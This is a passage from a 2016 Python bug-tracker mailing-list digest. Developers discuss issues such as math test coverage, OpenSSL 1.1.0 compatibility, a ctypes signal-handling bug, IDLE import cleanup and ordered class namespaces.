the wrong docs for the Python version you're using). If you double check `sys.version` and find that math.log2 still appears to be missing even on Python >= 3.3, feel free to reopen this issue with more information. ---------- nosy: +mark.dickinson resolution: -> not a bug stage: -> resolved status: pending -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 12:56:23 2016 From: report at bugs.python.org (Jeff Allen) Date: Mon, 29 Aug 2016 16:56:23 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472489783.42.0.941029374503.issue26040@psf.upfronthosting.co.za> Jeff Allen added the comment: Mark: Thanks for doing my homework. Points 1 and 3 I can readily agree with. I must take another look at to_ulps() with your patch on locally. I used the approach I did because I thought it was incorrect in exactly those corners where you prefer it. I'll take a closer look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 13:25:36 2016 From: report at bugs.python.org (Serhiy Storchaka) Date: Mon, 29 Aug 2016 17:25:36 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472491536.91.0.24461534103.issue27870@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: LGTM. ---------- stage: -> commit review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 13:54:17 2016 From: report at bugs.python.org (Jeff Allen) Date: Mon, 29 Aug 2016 17:54:17 +0000 Subject: [issue26040] Improve coverage and rigour of test.test_math In-Reply-To: <1452181282.79.0.203850145541.issue26040@psf.upfronthosting.co.za> Message-ID: <1472493257.0.0.351330948211.issue26040@psf.upfronthosting.co.za> Jeff Allen added the comment: Ah, cunning: I can make sense of it in hex. >>> hex(to_ulps(expected)) '0x3ff0000000000000' >>> hex(to_ulps(got)) '0x3feffffffffffffc' >>> hex( to_ulps(got) - to_ulps(expected) ) '-0x4' ... and what you've done with ulp then follows. In my version a format like "{:d} ulps" was a bad idea when the error was a gross one, but your to_ulps is only piece-wise linear -- large differences are compressed. I'm pleased my work has mostly survived: here's hoping the house build-bots agree. erfc() is perhaps the last worry, but math & cmath pass on my machine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:03:35 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 18:03:35 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <20160829180332.67791.61165.357FE56B@psf.io> Roundup Robot added the comment: New changeset 5c77488830bc by doko in branch 'default': - Issue #23968, keep platform_triplet and multiarch macros in sync https://hg.python.org/cpython/rev/5c77488830bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:04:44 2016 From: report at bugs.python.org (Matthias Klose) Date: Mon, 29 Aug 2016 18:04:44 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1472493883.99.0.442408884591.issue23968@psf.upfronthosting.co.za> Matthias Klose added the comment: now fixed. ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:27:57 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 18:27:57 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <20160829182753.82415.32752.212535CA@psf.io> Roundup Robot added the comment: New changeset 09fa42818cf8 by Mark Dickinson in branch 'default': Issue #27870: A left shift of zero by a large integer no longer attempts to allocate large amounts of memory. https://hg.python.org/cpython/rev/09fa42818cf8 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:38:25 2016 From: report at bugs.python.org (Roundup Robot) Date: Mon, 29 Aug 2016 18:38:25 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <20160829183821.113453.31937.A51CACBE@psf.io> Roundup Robot added the comment: New changeset 58ea646ef657 by Mark Dickinson in branch '2.7': Issue #27870: A left shift of zero by a large integer no longer attempts to allocate large amounts of memory. https://hg.python.org/cpython/rev/58ea646ef657 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:39:57 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 18:39:57 +0000 Subject: [issue27870] Left shift of zero allocates memory In-Reply-To: <1472238743.62.0.87785770674.issue27870@psf.upfronthosting.co.za> Message-ID: <1472495997.74.0.901380927169.issue27870@psf.upfronthosting.co.za> Mark Dickinson added the comment: Fixed for 2.7 and 3.6. Closing. ---------- resolution: -> fixed stage: commit review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 14:53:52 2016 From: report at bugs.python.org (Mark Dickinson) Date: Mon, 29 Aug 2016 18:53:52 +0000 Subject: [issue27427] Add new math module tests In-Reply-To: <1467325887.57.0.243525279322.issue27427@psf.upfronthosting.co.za> Message-ID: <1472496832.97.0.0915007964584.issue27427@psf.upfronthosting.co.za> Changes by Mark Dickinson : ---------- assignee: -> mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 15:28:04 2016 From: report at bugs.python.org (Zachary Ware) Date: Mon, 29 Aug 2016 19:28:04 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472498884.54.0.504289538636.issue26470@psf.upfronthosting.co.za> Zachary Ware added the comment: This will require significant updates to PCbuild/prepare_ssl.py and/or the way we build OpenSSL on Windows before we can even properly test this on Windows. I don't think that should hold up acceptance of the rest of the patch (provided 1.0.2 support remains intact), but will need to be handled eventually. Building on Windows with 1.0.2h is broken with the current patch, but I don't understand things well enough to diagnose it: ssleay.lib(ssl_lib.obj) : error LNK2005: _SSL_CTX_set_default_passwd_cb_userdata already defined in _ssl.obj [P:\ath\to\cpython\PCbuild\_ssl.vcxproj] ssleay.lib(ssl_lib.obj) : error LNK2005: _SSL_CTX_set_default_passwd_cb already defined in _ssl.obj [P:\ath\to\cpython\PCbuild\_ssl.vcxproj] ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 16:32:29 2016 From: report at bugs.python.org (Brett Cannon) Date: Mon, 29 Aug 2016 20:32:29 +0000 Subject: [issue24254] Make class definition namespace ordered by default In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za> Message-ID: <1472502749.23.0.692972763712.issue24254@psf.upfronthosting.co.za> Brett Cannon added the comment: Any update on this? b1 is exactly 2 weeks away at this point. ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 16:39:03 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 29 Aug 2016 20:39:03 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472503143.31.0.229147154682.issue26470@psf.upfronthosting.co.za> Christian Heimes added the comment: Hi Zachary, you have found a bug in my patch. I mistakenly defined SSL_CTX_set_default_passwd_cb() and SSL_CTX_set_default_passwd_cb_userdata() for OpenSSL < 1.1.0. Both functions already exist. Only the getters are missing for < 1.1.0. Please remove both functions from _ssl.c and try again. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 16:46:36 2016 From: report at bugs.python.org (Zachary Ware) Date: Mon, 29 Aug 2016 20:46:36 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472503596.25.0.733465959727.issue26470@psf.upfronthosting.co.za> Zachary Ware added the comment: Looks like that took care of it, build succeeded with no new warnings, and test.ssltests passed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 16:49:36 2016 From: report at bugs.python.org (Steve Dower) Date: Mon, 29 Aug 2016 20:49:36 +0000 Subject: [issue27888] Hide pip install/uninstall windows in setup Message-ID: <1472503775.99.0.744395565983.issue27888@psf.upfronthosting.co.za> New submission from Steve Dower: The console window for pip that appears during setup prevents us from having a truly silent install. This patch uses the CAQuietExec task from WiX, extracted and checked in directly (the binary blob is omitted from the patch), to run the pip install/uninstall. It also makes the task non-vital, which will prevent uninstall from failing when pip cannot be removed. ---------- assignee: steve.dower components: Windows files: installer_1.diff keywords: patch messages: 273884 nosy: paul.moore, steve.dower, tim.golden, zach.ware priority: normal severity: normal stage: patch review status: open title: Hide pip install/uninstall windows in setup type: behavior versions: Python 2.7 Added file: https://bugs.python.org/file44257/installer_1.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 16:57:07 2016 From: report at bugs.python.org (Christian Heimes) Date: Mon, 29 Aug 2016 20:57:07 +0000 Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0 In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za> Message-ID: <1472504227.77.0.365685267243.issue26470@psf.upfronthosting.co.za> Christian Heimes added the comment: Awesome! I have removed the surplus functions, made the other additional functions static and fixed minor test issue with LibreSSL and OpenSSL < 1.0.1. My branches on github compile and pass all tests with OpenSSL "0.9.8zc", "0.9.8zh", "1.0.1t", "1.0.2", "1.0.2h", "1.1.0" and LibreSSL "2.3.0", "2.4.2" on Linux X86_86. I'm using my script https://github.com/tiran/multissl for testing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 17:19:04 2016 From: report at bugs.python.org (Steve Dower) Date: Mon, 29 Aug 2016 21:19:04 +0000 Subject: [issue27888] Hide pip install/uninstall windows in setup In-Reply-To: <1472503775.99.0.744395565983.issue27888@psf.upfronthosting.co.za> Message-ID: <1472505544.64.0.340516957254.issue27888@psf.upfronthosting.co.za> Steve Dower added the comment: An almost immediate update - this patch also makes COMPILEALL not pop up a window. ---------- Added file: https://bugs.python.org/file44258/installer_2.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 17:23:50 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 29 Aug 2016 21:23:50 +0000 Subject: [issue24254] Make class definition namespace ordered by default In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za> Message-ID: <1472505829.99.0.144392198001.issue24254@psf.upfronthosting.co.za> STINNER Victor added the comment: Brett Cannon added the comment: > Any update on this? b1 is exactly 2 weeks away at this point. Why do we need changes specific to classes, if dictionaries could be ordered by default? Issue #27350: "Compact and ordered dict" by INADA Naoki ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 17:24:21 2016 From: report at bugs.python.org (STINNER Victor) Date: Mon, 29 Aug 2016 21:24:21 +0000 Subject: [issue24254] Make class definition namespace ordered by default In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za> Message-ID: <1472505861.6.0.407841323157.issue24254@psf.upfronthosting.co.za> Changes by STINNER Victor : ---------- nosy: +fijall _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 17:25:44 2016 From: report at bugs.python.org (Christopher Gurnee) Date: Mon, 29 Aug 2016 21:25:44 +0000 Subject: [issue1602] windows console doesn't print or input Unicode In-Reply-To: <1197453390.87.0.813702844893.issue1602@psf.upfronthosting.co.za> Message-ID: <1472505944.34.0.925045349152.issue1602@psf.upfronthosting.co.za> Changes by Christopher Gurnee : ---------- nosy: +gurnec _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 17:50:03 2016 From: report at bugs.python.org (Josh Rosenberg) Date: Mon, 29 Aug 2016 21:50:03 +0000 Subject: [issue27879] add os.syncfs() In-Reply-To: <1472321832.99.0.609872620029.issue27879@psf.upfronthosting.co.za> Message-ID: <1472507403.11.0.478990761889.issue27879@psf.upfronthosting.co.za> Josh Rosenberg added the comment: So syncfs is basically "sync, but only for a single file system corresponding to a given open file"? Given it's Linux only (doesn't look like it's part of any standard that UNIX or BSD OSes would provide), it seems rather special purpose to expose in Python. Is there some equivalent API for UNIX/BSD variants that `syncfs` could use to provide a single API that works on at least all UNIX-like systems? If not, it seems like this is an optimization that doesn't generalize; is it worth providing it instead of just having users call os.sync and accepting the cost of syncing other file systems? ---------- nosy: +josh.r _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 18:47:38 2016 From: report at bugs.python.org (Andre Merzky) Date: Mon, 29 Aug 2016 22:47:38 +0000 Subject: [issue27889] ctypes interfers with signal handling Message-ID: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za> New submission from Andre Merzky: Summary: A thread uses signals to the MainThread to signal an abnormal condition. The main thread is expected to get that signal, invoke the signal handler, and raise an exception. In combination with 'ctypes' calls, that does not happen. Consider the following code: ------------------------------------------------ #!/usr/bin/env python import multiprocessing as mp import threading as mt import signal import time import os # from uuid.py line 400 import ctypes, ctypes.util lib = ctypes.CDLL(ctypes.util.find_library('uuid')) def sigusr2_handler(signum, frame): raise RuntimeError('caught sigusr2') signal.signal(signal.SIGUSR2, sigusr2_handler) def sub(pid): time.sleep(1) os.kill(pid, signal.SIGUSR2) try: # p = mp.Process(target=sub, args=[os.getpid()]) # p.start() t = mt.Thread(target=sub, args=[os.getpid()]) t.start() time.sleep(3) except Exception as e: print 'except: %s' % e else: print 'unexcepted' finally: # p.join() t.join() ------------------------------------------------ With Python 2.7 I would expect the output: ------------------------------------------------ except: caught sigusr2 ------------------------------------------------ but I get: ------------------------------------------------ Traceback (most recent call last): File "./bug.py", line 29, in print 'unexcepted' File "./bug.py", line 13, in sigusr2_handler raise RuntimeError('caught sigusr2') File "./bug.py", line 29, in print 'unexcepted' File "./bug.py", line 13, in sigusr2_handler raise RuntimeError('caught sigusr2') RuntimeError: caught sigusr2 ------------------------------------------------ most of the time. The problem only happens when the 'ctypes.CDLL' line is enabled -- commenting it out results in the expected behavior. That line is copied from uuid.py -- importing uuid.py triggers the same unexpected behavior, which is ultimately why I am stuck. Note that the problem only occurs when a *thread* sends the signal -- it does *not* happen if the signal is sent by the main thread or by a different process (switch to the multiprocessing code path for confirmation). Interestingly, the problem also disappears when a 'print' statement is added after the 'time.sleep(3)', which may (or may not) indicate a timing issue. I would welcome any suggestion on how to further triage this. ---------- components: ctypes messages: 273889 nosy: Andre Merzky priority: normal severity: normal status: open title: ctypes interfers with signal handling type: behavior versions: Python 2.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 20:34:04 2016 From: report at bugs.python.org (James Domingo) Date: Tue, 30 Aug 2016 00:34:04 +0000 Subject: [issue27890] platform.release() incorrect in Python 3.5.2 on Windows 2008ServerR2 Message-ID: <1472517244.47.0.778989197753.issue27890@psf.upfronthosting.co.za> New submission from James Domingo: The platform.release() function in Python 3.5.1 returns the correct value on Windows 2008 Server R2: C:\Users\jdoe\Documents\Python>python-3.5.1-embed-amd64\python.exe Python 3.5.1 (v3.5.1:37a07cee5969, Dec 6 2015, 01:54:25) [MSC v.1900 64 bit (AM D64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import platform >>> platform.release() '2008ServerR2' However, the function in the latest release, Python 3.5.2, misidentifies the system as Windows 7: C:\Users\jdoe\Documents\Python>python-3.5.2-embed-amd64\python.exe Python 3.5.2 (v3.5.2:4def2a2901a5, Jun 25 2016, 22:18:55) [MSC v.1900 64 bit (AM D64)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> import platform >>> platform.release() '7' ---------- components: Library (Lib) messages: 273890 nosy: James Domingo priority: normal severity: normal status: open title: platform.release() incorrect in Python 3.5.2 on Windows 2008ServerR2 type: behavior versions: Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 20:36:43 2016 From: report at bugs.python.org (Eryk Sun) Date: Tue, 30 Aug 2016 00:36:43 +0000 Subject: [issue27889] ctypes interfers with signal handling In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za> Message-ID: <1472517403.57.0.182047676235.issue27889@psf.upfronthosting.co.za> Eryk Sun added the comment: I can't reproduce this issue in 2.7.11 on Linux. I also don't see how it could be related to ctypes. It doesn't meddle with signal handlers, and neither does Linux libuuid -- not as far I as I can tell with breakpoints set on signal() and sigaction(). Please provide the Python version and platform that you're using. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 21:13:52 2016 From: report at bugs.python.org (INADA Naoki) Date: Tue, 30 Aug 2016 01:13:52 +0000 Subject: [issue27350] Compact and ordered dict In-Reply-To: <1466307796.29.0.980579044792.issue27350@psf.upfronthosting.co.za> Message-ID: <1472519632.49.0.162748294371.issue27350@psf.upfronthosting.co.za> Changes by INADA Naoki : Added file: https://bugs.python.org/file44259/compact-dict.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 21:46:59 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 01:46:59 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. Message-ID: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> New submission from Terry J. Reedy: PEP 8 suggests separately grouping stdlib, dependency, and local package imports. Within idlelib, idlelib imports are treated as local package imports. Tkinter is sometimes treated as a dependency, which makes its imports easy to notice, and I want to do this consistently. It is conventional to sort imports within each group. This is sometimes true now, sometimes not (even before the 3.6 renaming). The possible danger of rearranging imports is that a line gets deleted and not pasted. Rietveld's side-by-side diff should make this easy to detect. This issue is about re-arranging the imports currently at the top of a file, and any module level imports that I notice elsewhere. Dealing with delayed imports within functions and classed will be another issue, which will depend on this one. ---------- assignee: terry.reedy components: IDLE messages: 273892 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: Consistently group and sort imports within idlelib modules. type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 21:54:22 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 01:54:22 +0000 Subject: [issue27892] Idlelib: document or move delayed imports Message-ID: <1472522062.64.0.203498764549.issue27892@psf.upfronthosting.co.za> New submission from Terry J. Reedy: This issue depends and follows-up on #27891, consistently grouping and sorting imports in idlelib files. PEP 8 (also) says 'all imports are put at the top of the file', though the 'consistency hobgloblin' rule allows for exceptions. Possible reasons include making circular imports work, delaying side-effects, and significantly reducing initial import time of the containing module. All are rare. Idlelib currently has numerous exceptions, only a few of which have a documented reason. The others might have a good reason, but may be holdovers from when 'import at top' was absent or not observed. I propose to at least document the exceptions by putting comments at the top, in their sort location among other idlelib imports. Examples: # from idlelib import module # in EditorWindow # from idlelib.other import SomeClass # in EditorWindow Doing this will make it possible to see at a glance all the idlelib imports in a module. I will remove at least one redundant delayed import and move some when I am sure there is no reason not to. I may ask original authors as to their reason for placing imports where they did. Moving 'import X' from a function is easy and safe. Moving an import from a class requires deleting 'self.' from all references, so is not safe without extra care. At least for EditorWindow, I may leave this to when editing the class anyway. ---------- assignee: terry.reedy components: IDLE messages: 273893 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: Idlelib: document or move delayed imports type: enhancement versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 21:54:36 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 01:54:36 +0000 Subject: [issue27892] Idlelib: document or move delayed imports In-Reply-To: <1472522062.64.0.203498764549.issue27892@psf.upfronthosting.co.za> Message-ID: <1472522076.42.0.82295664333.issue27892@psf.upfronthosting.co.za> Changes by Terry J. Reedy : ---------- dependencies: +Consistently group and sort imports within idlelib modules. _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 22:04:31 2016 From: report at bugs.python.org (Andre Merzky) Date: Tue, 30 Aug 2016 02:04:31 +0000 Subject: [issue27889] ctypes interfers with signal handling In-Reply-To: <1472510858.82.0.884835264582.issue27889@psf.upfronthosting.co.za> Message-ID: <1472522671.05.0.147730855646.issue27889@psf.upfronthosting.co.za> Andre Merzky added the comment: Thanks for checking! I use: $ uname -a Linux thinkie 3.11-2-amd64 #1 SMP Debian 3.11.8-1 (2013-11-13) x86_64 GNU/Linux $ python -V Python 2.7.5+ Note that the problem does not occur on every run -- but in more than 50% of the cases, for me. I am on a somewhat old machine right now (M620), not sure if that matters, and will try to reproduce on some other boxes tomorrow. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 22:16:10 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 02:16:10 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472523370.04.0.943620566309.issue27891@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This issue includes adding the idlelib import coding standard to idlelib.README. The delayed-import issue is #27893. A second followup will be to stop importing tkinter modules 'as' their Py 2 names. Change "from tkinter import font as TkFont" to "from tkinter import font" and globally replace 'TkFont' with 'tkfont'. Do the same for messagebox and any other submodules as needed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 22:27:04 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 02:27:04 +0000 Subject: [issue27892] Idlelib: document or move delayed imports In-Reply-To: <1472522062.64.0.203498764549.issue27892@psf.upfronthosting.co.za> Message-ID: <1472524024.9.0.822117850837.issue27892@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Another good reason for delaying an import is when the import is only needed for testing. In module_x ... def callable_x(parent) # htest # from tkinter import Toplevel box = Toplevel(parent) ... if __name__ == '__main__': from unittest import main main('idlelib.idle_test.test_module_x', verbosity=2) from idlelib.idle_test.htest import run run(callable_x) This should be part of 'Import Standards' in idlelib.README. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 23:07:12 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 30 Aug 2016 03:07:12 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <1472526432.35.0.967589490321.issue27891@psf.upfronthosting.co.za> Terry J. Reedy added the comment: On 2002 Sept 14, the following was merged into editor.py (then EditorWindow.py) as part of the smart indenting code added to the bottom. import tokenize _tokenize del tokenize This now would usually be written "import tokenize as _tokenize". Stdlib modules without explicit __all__ often do this to omit stdlib modules from their public interface. Idlelib does not do this. Add to README import standards. I put replaced the above with 'import tokenize' as the top where is belongs and changed all '_tokenize' to 'tokenize'. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 23:10:49 2016 From: report at bugs.python.org (Nick Coghlan) Date: Tue, 30 Aug 2016 03:10:49 +0000 Subject: [issue24254] Make class definition namespace ordered by default In-Reply-To: <1432186488.39.0.20621749373.issue24254@psf.upfronthosting.co.za> Message-ID: <1472526649.18.0.707218047757.issue24254@psf.upfronthosting.co.za> Nick Coghlan added the comment: Because we're not making ordered-by-default dicts a language specification level requirement, so portable code can't rely on them. However, the PEP at https://www.python.org/dev/peps/pep-0520/ is deliberately worded so that there's no requirement for the class body execution namespace to specifically be collections.OrderedDict - it just needs to be order preserving so that __definition_order__ can be populated. If someone reviews and merges the compact ordered dict patch, then this patch can likely be made a lot simpler. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 23:37:22 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 30 Aug 2016 03:37:22 +0000 Subject: [issue21541] Provide configure option --with-ssl for compilation with custom openssl In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za> Message-ID: <1472528242.88.0.117463814921.issue21541@psf.upfronthosting.co.za> Gregory P. Smith added the comment: We use Modules/Setup.local to build the _ssl and _hashlib modules against our an SSL library of our choosing at work using a Setup entry like this: _ssl _ssl.c $(PY_CORE_CFLAGS) -DUSE_SSL -I%{SSL_ROOT}/include \ -Wl,--version-script,_ssl.lds \ -Wl,-Bsymbolic \ %{SSL_ROOT}/libssl.a %{SSL_ROOT}/libcrypto.a %{SSL_ROOT} is replaced prior to building using sed to drop in the path to our desired libssl build. _ssl.lds is a linker script to hide all but the module init function as we are linking statically. MODULE__ssl { global: PyInit__ssl; local: *; }; (all that said, I still see how a configure flag would be nicer for many people even though the existing patch does not look like it would work for our own static linking needs - one reason we do that being to avoid dynamic versioning issues) ---------- nosy: +gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 23:37:36 2016 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 30 Aug 2016 03:37:36 +0000 Subject: [issue21541] Provide configure option --with-ssl for compilation with custom openssl In-Reply-To: <1400593614.19.0.224440922912.issue21541@psf.upfronthosting.co.za> Message-ID: <1472528256.84.0.0594333942634.issue21541@psf.upfronthosting.co.za> Changes by Gregory P. Smith : ---------- versions: +Python 3.6 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Aug 29 23:48:10 2016 From: report at bugs.python.org (=?utf-8?b?0JzQsNGA0Log0JrQvtGA0LXQvdCx0LXRgNCz?=) Date: Tue, 30 Aug 2016 03:48:10 +0000 Subject: [issue27879] add os.syncfs() In-Reply-To: <1472321832.99.0.609872620029.issue27879@psf.upfronthosting.co.za> Message-ID: <1472528890.36.0.639074530587.issue27879@psf.upfronthosting.co.za> ???? ????????? added the comment: 1. It is appropriate to call `sync()` when one calls `os.syncfs()` if `syncfs()` syscall is not supported in kernel. 2. https://technet.microsoft.com/sv-se/sysinternals/bb897438(en-us).aspx 3. https://github.com/EricGrange/FlushFileCache ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 00:54:01 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 04:54:01 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472532841.59.0.105163972388.issue11734@psf.upfronthosting.co.za> Raymond Hettinger added the comment: In the docs for note 7, consider expanding the text to describe what a half-float is (1-bit sign, 10 bit significand, 5 bit exponent) and its allowable range. This wasn't necessary for codes "f" and "d" since they have well-known C equivalents, but in this case some elaboration is needed. Also consider including a link to the wikipedia article and perhaps to IEEE 754-2008. Otherwise, he patch looks complete and passes the test suite. I think it is ready to apply. ---------- nosy: +rhettinger _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 00:54:23 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 30 Aug 2016 04:54:23 +0000 Subject: [issue11734] Add half-float (16-bit) support to struct module In-Reply-To: <1301619617.43.0.214438166588.issue11734@psf.upfronthosting.co.za> Message-ID: <1472532863.04.0.462203724062.issue11734@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- assignee: -> mark.dickinson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 02:38:51 2016 From: report at bugs.python.org (SilentGhost) Date: Tue, 30 Aug 2016 06:38:51 +0000 Subject: [issue27890] platform.release() incorrect in Python 3.5.2 on Windows 2008ServerR2 In-Reply-To: <1472517244.47.0.778989197753.issue27890@psf.upfronthosting.co.za> Message-ID: <1472539131.04.0.983956738461.issue27890@psf.upfronthosting.co.za> SilentGhost added the comment: This seems to be a consequence of issue 26513. Would you mind re-posting your message there. ---------- components: +Windows keywords: +3.5regression nosy: +SilentGhost, paul.moore, steve.dower, tim.golden, zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue Aug 30 04:05:51 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Tue, 30 Aug 2016 08:05:51 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1472544351.41.0.292099819666.issue23968@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: Changeset 5c77488830bc brings a regression - Android build fails with the following message: export H2PY; H2PY="$PYTHON_FOR_BUILD /home/yen/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py"; \ cd ../Lib/plat-aarch64-linux-gnu; ./regen + _PYTHON_PROJECT_BASE=/home/yen/python3-android/src/cpython/build-target _PYTHON_HOST_PLATFORM=linux-aarch64 PYTHONPATH=/home/yen/python3-android/src/cpython/build-target/build/lib.linux-aarch64-3.6:../Lib:../Lib/plat-aarch64-linux-gnu python3.6 /home/yen/python3-android/src/cpython/build-target/../Tools/scripts/h2py.py -i '(u_long)' /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/sys/types.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/netinet/in.h /opt/android-ndk/platforms/android-21/arch-arm64/usr/include/dlfcn.h ./regen: line 33: _PYTHON_PROJECT_BASE=/home/yen/python3-android/src/cpython/build-target: No such file or directory make[1]: *** [Makefile:1324: ../Lib/plat-aarch64-linux-gnu] Error 127 make[1]: Leaving directory '/home/yen/python3-android/src/cpython/build-target' make: *** [Makefile:36: python] Error 2 The previous changeset 1902e1d79e25 builds fine. Prepending 